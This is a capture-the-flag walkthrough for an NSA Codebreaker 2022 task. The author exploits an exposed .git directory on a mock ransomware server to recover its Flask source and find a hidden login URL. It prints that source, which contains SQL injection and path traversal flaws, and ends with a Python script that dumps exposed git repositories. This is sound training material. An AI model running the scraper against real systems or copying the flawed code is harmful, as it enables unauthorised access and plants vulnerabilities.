Task B2 of NSA Codebreaker 2022
Task B2 - Getting Deeper - (Web Hacking, Git)
It looks like the backend site you discovered has some security features to prevent you from snooping. They must have hidden the login page away somewhere hard to guess.
Analyze the backend site, and find the URL to the login page.
Hint: this group seems a bit sloppy. They might be exposing more than they intend to.
Warning: Forced-browsing tools, such as DirBuster, are unlikely to be very helpful for this challenge, and may get your IP address automatically blocked by AWS as a DDoS-prevention measure. Codebreaker has no control over this blocking, so we suggest not attempting to use these techniques.
Prompt:
- Enter the URL for the login page
Finding Vulnerabilities
NOTE: I spent a lot of effort on understanding
connect.js
, but I won’t cover that file here since it is not relevant to this task or any other.Analyze the backend site…
This statement in the prompt clearly states that we need to analyze the backend site, not the front-end that the user would see. Unfortunately, I missed this detail and burned an extra two days on analysis.
Using the domain we found in Task B1, let’s try to access their home page at https://wrfbgtsocesalacv.ransommethis.net/
.
It looks like there is a permissions issue. Let’s try looking at the page using Google Chrome’s Developer Tools. To open Developer Tools, right click anywhere on the webpage and select Inspect
. Once we open the Developer Tools, we can select the Network
tab and refresh the page to load all the dynamic and static source content.
They might be exposing more than they intend to.
Most of the time, information exposure is linked to data attributes in the server’s response headers or content. This could be an e-tag
, cookie
, or a vulnerable server version
. Let’s review the Headers
tab first and see if there are any potential vulnerabilities:
Request URL: https://wrfbgtsocesalacv.ransommethis.net/
Request Method: GET
Status Code: 403
Remote Address: 52.207.129.222:443
Referrer Policy: strict-origin-when-cross-origin
content-length: 412
content-type: text/html; charset=utf-8
date: Sun, 23 Oct 2022 17:12:34 GMT
server: nginx/1.23.1
x-git-commit-hash: 0e3c84bf5b4266c0e54352a932cc9f7d00533992
:authority: wrfbgtsocesalacv.ransommethis.net
:method: GET
:path: /
:scheme: https
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
accept-encoding: gzip, deflate, br
accept-language: en-US,en;q=0.9
cache-control: no-cache
dnt: 1
pragma: no-cache
sec-ch-ua: "Chromium";v="106", "Google Chrome";v="106", "Not;A=Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
sec-fetch-dest: document
sec-fetch-mode: navigate
sec-fetch-site: none
sec-fetch-user: ?1
upgrade-insecure-requests: 1
user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
Three items pop out at me:
Remote Address: 52.207.129.222:443
- We are going to ignore this field since it would take longest to enumerate server vulnerabilities.server: nginx/1.23.1
- This older server version could have known exploits. We can search the National Vulnerability Database (NVD) for more info.x-git-commit-hash: 0e3c84bf5b4266c0e54352a932cc9f7d00533992
- This field is typically whengit
is implemented (and possibly exposed).
Checking for nginx
Vulnerabilities
We can start by checking the NVD for a known exploit. I used Advanced Search, which allows you to query Common Platform Enumeration (a fancy term for specific softwares / versions). My search is rapidly halted by the fact that there are zero vulnerabilities linked to version 1.23 of nginx.
This means we can move to the next item of interest – git
.
Checking for git
Vulnerabilities
If the git hash
is showing on the homepage, we could assume that other information from the git
is exposed (and possibly in the same directory as the webpage). After some help from the git
Documentation and a git
Tutorial, I created my own git
using the following commands:
INPUT:
mkdir test-git
cd test-git
git init
OUTPUT:
Initialized empty Git repository in /Users/robertjamison/Desktop/test-git/.git/
Looks like our test git created a new repository in a hidden folder called .git
. Let’s check the contents. If we’re lucky, there are some files that come standard with git
.
INPUT:
cd .git
ls -alR
OUTPUT:
total 24
drwxr-xr-x 9 robertjamison staff 288 Oct 23 14:45 .
drwxr-xr-x 3 robertjamison staff 96 Oct 23 14:45 ..
-rw-r--r-- 1 robertjamison staff 21 Oct 23 14:45 HEAD
-rw-r--r-- 1 robertjamison staff 137 Oct 23 14:45 config
-rw-r--r-- 1 robertjamison staff 73 Oct 23 14:45 description
drwxr-xr-x 15 robertjamison staff 480 Oct 23 14:45 hooks
drwxr-xr-x 3 robertjamison staff 96 Oct 23 14:45 info
drwxr-xr-x 4 robertjamison staff 128 Oct 23 14:45 objects
drwxr-xr-x 4 robertjamison staff 128 Oct 23 14:45 refs
./hooks:
total 120
drwxr-xr-x 15 robertjamison staff 480 Oct 23 14:45 .
drwxr-xr-x 9 robertjamison staff 288 Oct 23 14:45 ..
-rwxr-xr-x 1 robertjamison staff 478 Oct 23 14:45 applypatch-msg.sample
-rwxr-xr-x 1 robertjamison staff 896 Oct 23 14:45 commit-msg.sample
-rwxr-xr-x 1 robertjamison staff 4726 Oct 23 14:45 fsmonitor-watchman.sample
-rwxr-xr-x 1 robertjamison staff 189 Oct 23 14:45 post-update.sample
-rwxr-xr-x 1 robertjamison staff 424 Oct 23 14:45 pre-applypatch.sample
-rwxr-xr-x 1 robertjamison staff 1643 Oct 23 14:45 pre-commit.sample
-rwxr-xr-x 1 robertjamison staff 416 Oct 23 14:45 pre-merge-commit.sample
-rwxr-xr-x 1 robertjamison staff 1374 Oct 23 14:45 pre-push.sample
-rwxr-xr-x 1 robertjamison staff 4898 Oct 23 14:45 pre-rebase.sample
-rwxr-xr-x 1 robertjamison staff 544 Oct 23 14:45 pre-receive.sample
-rwxr-xr-x 1 robertjamison staff 1492 Oct 23 14:45 prepare-commit-msg.sample
-rwxr-xr-x 1 robertjamison staff 2783 Oct 23 14:45 push-to-checkout.sample
-rwxr-xr-x 1 robertjamison staff 3650 Oct 23 14:45 update.sample
./info:
total 8
drwxr-xr-x 3 robertjamison staff 96 Oct 23 14:45 .
drwxr-xr-x 9 robertjamison staff 288 Oct 23 14:45 ..
-rw-r--r-- 1 robertjamison staff 240 Oct 23 14:45 exclude
./objects:
total 0
drwxr-xr-x 4 robertjamison staff 128 Oct 23 14:45 .
drwxr-xr-x 9 robertjamison staff 288 Oct 23 14:45 ..
drwxr-xr-x 2 robertjamison staff 64 Oct 23 14:45 info
drwxr-xr-x 2 robertjamison staff 64 Oct 23 14:45 pack
./objects/info:
total 0
drwxr-xr-x 2 robertjamison staff 64 Oct 23 14:45 .
drwxr-xr-x 4 robertjamison staff 128 Oct 23 14:45 ..
./objects/pack:
total 0
drwxr-xr-x 2 robertjamison staff 64 Oct 23 14:45 .
drwxr-xr-x 4 robertjamison staff 128 Oct 23 14:45 ..
./refs:
total 0
drwxr-xr-x 4 robertjamison staff 128 Oct 23 14:45 .
drwxr-xr-x 9 robertjamison staff 288 Oct 23 14:45 ..
drwxr-xr-x 2 robertjamison staff 64 Oct 23 14:45 heads
drwxr-xr-x 2 robertjamison staff 64 Oct 23 14:45 tags
./refs/heads:
total 0
drwxr-xr-x 2 robertjamison staff 64 Oct 23 14:45 .
drwxr-xr-x 4 robertjamison staff 128 Oct 23 14:45 ..
./refs/tags:
total 0
drwxr-xr-x 2 robertjamison staff 64 Oct 23 14:45 .
drwxr-xr-x 4 robertjamison staff 128 Oct 23 14:45 ..
It looks like the files HEAD
, config
, and description
come standard in every git
repository. Let’s see if the HEAD
file is present on the server by trying https://wrfbgtsocesalacv.ransommethis.net/.git/HEAD
.
Success!!! Looks like we’ve found our exploit.
Exploiting the git
Now that we know the structure of a traditional git
repository, let’s begin downloading the essential files. Here are the links I used to download the HEAD
, config
, and description
files:
- https://wrfbgtsocesalacv.ransommethis.net/.git/HEAD
- https://wrfbgtsocesalacv.ransommethis.net/.git/config
- https://wrfbgtsocesalacv.ransommethis.net/.git/description
The contents of HEAD
seems to point to another file as well:
# INPUT
cat .git/HEAD
# OUTPUT
ref: refs/heads/main
Let’s download that file too.
- https://wrfbgtsocesalacv.ransommethis.net/.git/refs/heads/main
When we open the file, all it contains is some sort of hash:
# INPUT
cat .git/refs/heads/main
# OUTPUT
0e3c84bf5b4266c0e54352a932cc9f7d00533992
Based on the documentation git
uses hashes to identify commits made by the developer(s) – very similarly to GitHub. It looks like git
creates a folder under objects
with the first two characters of the hash (e.g. 0e
). It then creates the commit named with the remaining hash characters (e.g. 3c84bf5b4266c0e54352a932cc9f7d00533992
). Let’s see if we can grab that commit file.
- https://wrfbgtsocesalacv.ransommethis.net/.git/objects/0e/3c84bf5b4266c0e54352a932cc9f7d00533992
It worked!!! When we read the contents of the file, we get a bunch of binary garbage:
Trees for Days
There is a useful command in the documentation called git cat-file
. It allows you to see tree and file data within each commit. Let’s try to read the file and find out more about the commit:
# INPUT
git cat-file -p 0e3c84bf5b4266c0e54352a932cc9f7d00533992
# OUTPUT
tree 2fb93cb59e177515490536ea4e46664e56902414
author Ransom Me This <root@ransommethis.net> 1657580052 +0000
committer Ransom Me This <root@ransommethis.net> 1659589982 +0000
Initial import
Looks like there is another important commit at 2fb93cb59e177515490536ea4e46664e56902414
. Let’s download it and check its contents too:
- https://wrfbgtsocesalacv.ransommethis.net/.git/objects/2f/b93cb59e177515490536ea4e46664e56902414
# INPUT
git cat-file -p 2fb93cb59e177515490536ea4e46664e56902414
# OUTPUT
100755 blob fc46c46e55ad48869f4b91c2ec8756e92cc01057 Dockerfile
100755 blob dd5520ca788a63f9ac7356a4b06bd01ef708a196 Pipfile
100644 blob 47709845a9b086333ee3f470a102befdd91f548a Pipfile.lock
040000 tree 474cc9545fd20cf726e0ab6451532e880e5f09d4 app
The tree
at 474cc9545fd20cf726e0ab6451532e880e5f09d4
looks very interesting. Let’s download that and see what is in it.
- https://wrfbgtsocesalacv.ransommethis.net/.git/objects/47/4cc9545fd20cf726e0ab6451532e880e5f09d4
# INPUT
git cat-file -p 474cc9545fd20cf726e0ab6451532e880e5f09d4
# OUTPUT
100755 blob e69de29bb2d1d6434b8b29ae775ad8c2e48c5391 __init__.py
100644 blob c44a9accf51c1100d3713adf9e49a7e2082ce247 server.py
040000 tree b74c07f2fa23cffe19ef8af211a820f26094a53b templates
100644 blob e89e78b84637886f85beb8725b890aed611643a1 util.py
The python script named server.py
looks very important. Let’s try reading it as well.
- https://wrfbgtsocesalacv.ransommethis.net/.git/objects/c4/4a9accf51c1100d3713adf9e49a7e2082ce247
git cat-file -p c44a9accf51c1100d3713adf9e49a7e2082ce247 > server.py
Let’s view the Python file:
#!/usr/bin/env python
from datetime import datetime
from flask import Flask, jsonify, render_template, request, redirect, make_response, send_file, send_from_directory
from flask_bootstrap import Bootstrap
from os.path import realpath, exists
from . import util
import json
import os
import random
import subprocess
import sys
app = Flask(__name__)
Bootstrap(app)
def expected_pathkey():
return "fwjvwewwfiqfvfgp"
def forum():
return render_template('forum.html')
def userinfo():
""" Create a page that displays information about a user """
query = request.values.get('user')
if query == None:
query = util.get_username()
userName = memberSince = clientsHelped = hackersHelped = contributed = ''
with util.userdb() as con:
infoquery= "SELECT u.memberSince, u.clientsHelped, u.hackersHelped, u.programsContributed FROM Accounts a INNER JOIN UserInfo u ON a.uid = u.uid WHERE a.userName='%s'" %query
row = con.execute(infoquery).fetchone()
if row != None:
userName = query
memberSince = int(row[0])
clientsHelped = int(row[1])
hackersHelped = int(row[2])
contributed = int(row[3])
if memberSince != '':
memberSince = datetime.utcfromtimestamp(int(memberSince)).strftime('%Y-%m-%d')
resp = make_response(render_template('userinfo.html',
userName=userName,
memberSince=memberSince,
clientsHelped=clientsHelped,
hackersHelped=hackersHelped,
contributed=contributed,
pathkey=expected_pathkey()))
return resp
def navpage():
return render_template('home.html')
def loginpage():
if request.method == 'POST':
cookie = util.login(request.form['username'], request.form['password'])
if cookie is None:
# Invalid login
return render_template('login.html', message="Invalid login, please try again.")
resp = make_response(redirect(f"/{expected_pathkey()}"), 302)
resp.set_cookie('tok', cookie)
return render_template('login.html', message="")
def adminlist():
""" Generate the list of current admins.
This page also shows former admins, for the sake of populating the page with more text. """
with util.userdb() as con:
adminlist = [row[0] for row in con.execute("SELECT userName FROM Accounts WHERE isAdmin = 1")]
return render_template('adminlist.html',adminlist=adminlist)
def admin():
return render_template('admin.html')
def fetchlog():
log = request.args.get('log')
return send_file("/opt/ransommethis/log/" + log)
def lock():
if request.args.get('demand') == None:
return render_template('lock.html')
else:
cid = random.randrange(10000, 100000)
result = subprocess.run(["/opt/keyMaster/keyMaster",
'lock',
str(cid),
request.args.get('demand'),
util.get_username()],
capture_output=True, check=True, text=True, cwd="/opt/keyMaster/")
jsonresult = json.loads(result.stdout)
if 'error' in jsonresult:
response = make_response(result.stdout)
response.mimetype = 'application/json'
return response
with open("/opt/ransommethis/log/keygeneration.log", 'a') as logfile:
print(f"{datetime.now().replace(tzinfo=None, microsecond=0).isoformat()}\t{util.get_username()}\t{cid}\t{request.args.get('demand')}", file=logfile)
return jsonify({'key': jsonresult['plainKey'], 'cid': cid})
def unlock():
if request.args.get('receipt') == None:
return render_template('unlock.html')
else:
result = subprocess.run(["/opt/keyMaster/keyMaster",
'unlock',
request.args.get('receipt')],
capture_output=True, check=True, text=True, cwd="/opt/keyMaster/")
response = make_response(result.stdout)
response.mimetype = 'application/json'
return response
def credit():
args = None
if request.method == "GET":
args = request.args
elif request.method == "POST":
args = request.form
if args.get('receipt') == None or args.get('hackername') == None or args.get('credits') == None:
# Missing a required argument
return jsonify({"error": "missing argument"}), 400
result = subprocess.run(["/opt/keyMaster/keyMaster",
'credit',
args.get('hackername'),
args.get('credits'),
args.get('receipt')],
capture_output=True, check=True, text=True, cwd="/opt/keyMaster")
response = make_response(result.stdout)
response.mimetype = 'application/json'
return response
# API for payment site
@app.route("/demand")
def demand():
d = dict()
with util.victimdb() as con:
row = con.execute('SELECT dueDate, Baddress, pAmount FROM Victims WHERE cid = ?', (request.args.get('cid'),)).fetchone()
if row is not None:
d['exp_date'] = row[0]
d['address'] = row[1]
d['amount'] = row[2]
resp = jsonify(d)
resp.headers.add('Access-Control-Allow-Origin', '*')
return resp
@app.route("/", defaults={'pathkey': '', 'path': ''}, methods=['GET', 'POST'])
@app.route("/<path:pathkey>", defaults={'path': ''}, methods=['GET', 'POST'])
@app.route("/<path:pathkey>/<path:path>", methods=['GET', 'POST'])
def pathkey_route(pathkey, path):
if pathkey.endswith('/'):
# Deal with weird normalization
pathkey = pathkey[:-1]
path = '/' + path
# Super secret path that no one will ever guess!
if pathkey != expected_pathkey():
return render_template('unauthorized.html'), 403
# Allow access to the login page, even if they're not logged in
if path == 'login':
return loginpage()
# Check if they're logged in.
try:
uid = util.get_uid()
except util.InvalidTokenException:
return redirect(f"/{pathkey}/login", 302)
# At this point, they have a valid login token
if path == "":
return redirect(f"/{pathkey}/", 302)
elif path == "/" or path == 'home':
return navpage()
elif path == 'adminlist':
return adminlist()
elif path == 'userinfo':
return userinfo()
elif path == 'forum':
return forum()
elif path == 'lock':
return lock()
elif path == 'unlock':
return unlock()
# Admin only functions beyond this point
elif path == 'admin':
return util.check_admin(admin)
elif path == 'fetchlog':
return util.check_admin(fetchlog)
elif path == 'credit':
return util.check_admin(credit)
# Default
return render_template('404.html'), 404
Based on this script, it looks like the login directory has a prefix URI before it generated by the function expected_pathkey()
. Let’s try recreating the path:
- https://wrfbgtsocesalacv.ransommethis.net/fwjvwewwfiqfvfgp/login
Looks like we found the login screen! When we submit the URL on the NSA Codebreaker website, we get a green banner. Success!!!
BEFORE YOU GO: Don’t forget to
git cat-file
the rest of the files from thegit
repository. You’ll need them later!
[EXTRA] Other git
Enumeration Techniques
When we read back through the git
Documentation, we find that the index
file is a way of enumerating all the commits. It only shows up in repositories with a commit, which we didn’t do in our earlier test. Let’s see if the index
file is present in this commit.
- https://wrfbgtsocesalacv.ransommethis.net/.git/index
Looks like we found it.
Let’s try a command I found that lets us enumerate the index contents and find all the other commit files:
# INPUT
git ls-files --stage
# OUTPUT
100755 fc46c46e55ad48869f4b91c2ec8756e92cc01057 0 Dockerfile
100755 dd5520ca788a63f9ac7356a4b06bd01ef708a196 0 Pipfile
100644 47709845a9b086333ee3f470a102befdd91f548a 0 Pipfile.lock
100755 e69de29bb2d1d6434b8b29ae775ad8c2e48c5391 0 app/__init__.py
100644 c44a9accf51c1100d3713adf9e49a7e2082ce247 0 app/server.py
100755 a844f894a3ab80a4850252a81d71524f53f6a384 0 app/templates/404.html
100644 1df0934819e5dcf59ddf7533f9dc6628f7cdcd25 0 app/templates/admin.html
100644 b9cfd98da0ac95115b1e68967504bd25bd90dc5c 0 app/templates/admininvalid.html
100644 bb830d20f197ee12c20e2e9f75a71e677c983fcd 0 app/templates/adminlist.html
100644 5033b3048b6f351df164bae9c7760c32ee7bc00f 0 app/templates/base.html
100644 10917973126c691eae343b530a5b34df28d18b4f 0 app/templates/forum.html
100644 fe3dcf0ca99da401e093ca614e9dcfc257276530 0 app/templates/home.html
100644 779717af2447e24285059c91854bc61e82f6efa8 0 app/templates/lock.html
100644 0556cd1e1f584ff5182bbe6b652873c89f4ccf23 0 app/templates/login.html
100644 56e0fe4a885b1e4eb66cda5a48ccdb85180c5eb3 0 app/templates/navbar.html
100755 ed1f5ed5bc5c8655d40da77a6cfbaed9d2a1e7fe 0 app/templates/unauthorized.html
100644 c980bf6f5591c4ad404088a6004b69c412f0fb8f 0 app/templates/unlock.html
100644 470d7db1c7dcfa3f36b0a16f2a9eec2aa124407a 0 app/templates/userinfo.html
100644 e89e78b84637886f85beb8725b890aed611643a1 0 app/util.py
BONUS: Automated Script
Here is a super fast way to exploit this task:
#!/usr/bin/env python3
import os
import git
import requests
class GitScraper:
def __init__(self, repo_dir, url):
self.git_files = ["HEAD", "config", "description", "index"]
self.repo_dir = repo_dir
self.url = url
self.git_dir = os.path.join(self.repo_dir, ".git")
self.repo = git.Repo.init(self.repo_dir)
def getBlobs(self):
self.git = git.Git(self.repo_dir)
self.blobs = []
for file in self.git_files:
self.getFile(file)
for (file, _stage), entry in self.repo.index.entries.items():
hash = entry[1].hex()
path = "objects/" + hash[:2] + "/" + hash[2:]
self.blobs.append({
"hash" : hash,
"file" : file,
"path" : path
})
print(file)
self.getFile(path)
self.saveFile(self.git.cat_file("-p", hash), self.repo_dir + "/" + file)
def getFile(self, file):
response = requests.get(self.url + ".git/" + file)
full_path = os.path.join(self.git_dir, file)
self.saveFile(response.content, full_path)
def saveFile(self, content, path):
directory = os.path.dirname(path)
if not os.path.exists(directory) and directory != "":
os.mkdir(directory)
if isinstance(content, str):
open(path, "w").write(content)
else:
open(path, "wb").write(content)
def main():
scraper = GitScraper("repo", "https://wrfbgtsocesalacv.ransommethis.net/")
scraper.getBlobs()
if __name__ == "__main__":
main()